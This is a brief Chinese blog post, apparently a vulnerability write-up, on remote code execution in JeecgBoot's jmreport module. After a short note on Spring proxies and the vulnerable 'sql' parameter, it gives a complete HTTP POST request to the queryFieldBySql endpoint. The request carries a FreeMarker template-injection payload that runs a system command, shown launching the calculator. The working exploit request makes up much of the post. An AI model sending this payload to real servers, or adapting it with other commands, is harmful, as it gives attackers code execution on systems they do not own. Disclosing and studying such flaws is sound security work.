“jeecgboot-jmrport-RCE”

#jeecgboot-jmrport-RCE

proxy-target-class属性值决定是基于接口的还是基于类的代理被创建。首先说明下proxy-target-class=”true”和proxy-target-class=”false”的区别,为true则是基于类的代理将起作用(需要cglib库),为false或者省略这个属性,则标准的JDK 基于接口的代理将起作用。1692238499744

1
2
3
var1.getString("sql");->CglibAopProxy
org.jeecg.modules.jmreport.desreport.service.a.i.parseReportSql当做method->springframework ssti

1692239760819

1692242107894

POST /jeecg-boot//jmreport/queryFieldBySql HTTP/1.1
Host: 172.16.120.125:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1691723815
Connection: close
Content-Type: application/json
Content-Length: 113

{“sql”:”<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a calculator.app") } }’”}

1692242107894


“jeecgboot-jmrport-RCE”
http://www.ttk7.cn/2023/08/17/jeecgboot-jmrport-RCE/
作者
ttk7
发布于
2023年8月17日
许可协议